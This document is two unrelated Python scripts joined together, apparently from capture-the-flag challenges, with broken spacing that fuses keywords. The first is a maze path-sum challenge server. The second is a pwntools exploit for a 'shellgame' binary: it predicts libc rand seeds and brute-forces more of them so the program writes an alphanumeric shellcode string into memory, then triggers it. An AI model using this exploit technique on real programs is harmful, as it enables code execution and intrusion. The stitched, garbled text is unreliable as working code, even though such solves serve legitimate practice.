from random import randint from hashlib import sha256 import signal import string import random import os
flag = r'flag{test_text}' mat_size = 750
defquestion(n = 30): res = [[randint(0, 10000) for x inrange(n)] for y inrange(n)] return res
defget_max(mat): dp = [[0for x inrange(len(mat[0]))] for y inrange(len(mat))] for i inrange(len(mat[0])): dp[0][i] = mat[0][i] for i inrange(1, len(mat)): for j inrange(len(mat[i])): dp[i][j] = max(dp[i][j], dp[i - 1][j] + mat[i][j]) if j > 0: dp[i][j] = max(dp[i][j], dp[i - 1][j - 1] + mat[i][j]) if j < len(mat[i]) - 1: dp[i][j] = max(dp[i][j], dp[i - 1][j + 1] + mat[i][j]) res = max(dp[len(mat) - 1]) idx = dp[len(mat) - 1].index(res) path = [idx] for i inrange(0, len(mat) - 1)[::-1]: if idx > 0and dp[i][idx - 1] + mat[i + 1][idx] == dp[i + 1][idx]: idx -= 1 elif idx < len(mat[i]) - 1and dp[i][idx + 1] + mat[i + 1][idx] == dp[i + 1][idx]: idx += 1 path = [idx] + path assert check(mat, path, res) return res
defcheck(mat, path, res): try: iflen(path) != len(mat): returnFalse for i inrange(1, len(path)): ifabs(path[i] - path[i - 1]) > 1: returnFalse test = 0 for i inrange(len(mat)): test += mat[i][path[i]] return test == res except Exception as e: returnFalse
mat = question(mat_size) res = get_max(mat) print('[+] Welcome my friend!') print(f'[+] Can you earn ${res} from the $ maze?') print('[+] You can choose any room as entrance from left, any room as exit from right.') print('[+] But you can only choose the right, up-right or down-right room to go.') print('[+] And the top and bottom of this maze is wall, which means YOU SHALL NOT PASS!') print('[+] Now try your best! There is your map of maze:') for i inrange(len(mat)): text = f'col {i}:' for x in mat[i]: text += f' {x}' print(f'[+] {text}') print('[+] Give me your path, the row number from left to right(split by only one space):') signal.alarm(1) data = input('[-] ') path = [int(x) for x in data.split(' ')] if check(mat, path, res): print('[+] Wow! Here is your flag: ' + flag) else: print('[-] Faster Faster Faster!')
from pwn import * from ctypes import * #io=process('./shellgame') io=remote('127.0.0.1',11451) context.arch='amd64' context.log_level='debug' libc = ELF('./libc.so.6') rl = lambda a=False: io.recvline(a) ru = lambda a, b=True: io.recvuntil(a, b) rn = lambda x: io.recvn(x) sn = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda a, b: io.sendafter(a, b) sla = lambda a, b: io.sendlineafter(a, b) irt = lambda: io.interactive() dbg = lambda text=None: gdb.attach(io, text) lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s))) uu32 = lambda data: u32(data.ljust(4, b'\x00')) uu64 = lambda data: u64(data.ljust(8, b'\x00')) clib = cdll.LoadLibrary("./libc.so.6") ru("Your lucky number is:\n") line = io.recvline().decode() data = line.split(' ')[:-1]
src = [] for i in data: src.append(int(i[2:])) for i inrange(len(src)): if src[i] < 0: src[i] = 0x100 + src[i] seed = 0 for i inrange(0x101): clib.srand(i) flag = 0 for j inrange(10): t = clib.rand() % 0x100 if t != src[j]: flag = 1 break
if flag == 0: seed = i break src = [0for i inrange(161)] clib.srand(seed) for i inrange(161): src[i] = clib.rand() % 0x100
seedlist = [] #shellcode = "W828Rvj8jf9zfYWj3hzZR9HR8ZYTT5ik0ZC839i3TjAiZTCRTiW88Bj0itY4Wfe99YoT08PTbfAf88i038sCWYfstX119TX00ZUtnYDSPZTJTX00TTA0AnmTYAjKT090T4iWjYH80iY1W" shellcode="W828Rvj8jf9zfYWj3hzZR9HR8ZYTT5ik0ZC839i3TjAiZTCRTiW88Bj0itY4Wfe99YoT08PTbfAf88i038sCWYfstX119TX00ZUtnYDSPZTJTX00TTA0AnmTYAjKT090T4iWjYH80iY1W" des=[] for i inrange(len(shellcode)+1): if i!=len(shellcode): des.append(hex(ord(shellcode[i]))) else: des.append(hex(0))
print(des) des=[] for i inrange(len(shellcode)+1): if i!=len(shellcode): des.append(ord(shellcode[i])) else: des.append(0) for i inrange(len(shellcode)+1): t = des[i] - src[i] if t < 0: t += 0x100 for j inrange(0x2000): clib.srand(j) if clib.rand() % 0x100 == t: seedlist.append(j) break src[i + 1] = (src[i + 1] + clib.rand() % 0x100) % 0x100 src[i + 2] = (src[i + 2] + clib.rand() % 0x100) % 0x100 print(seedlist)
defadd(idx,seed): sa('> ',str(1).ljust(0x10,'\x00')+p32(seed)) sa('> ',str(idx).ljust(0x14,'\x00')) for i inrange(1,len(seedlist)+1): add(i,seedlist[i-1]) io.send(str(4).ljust(0x14,'\x00'))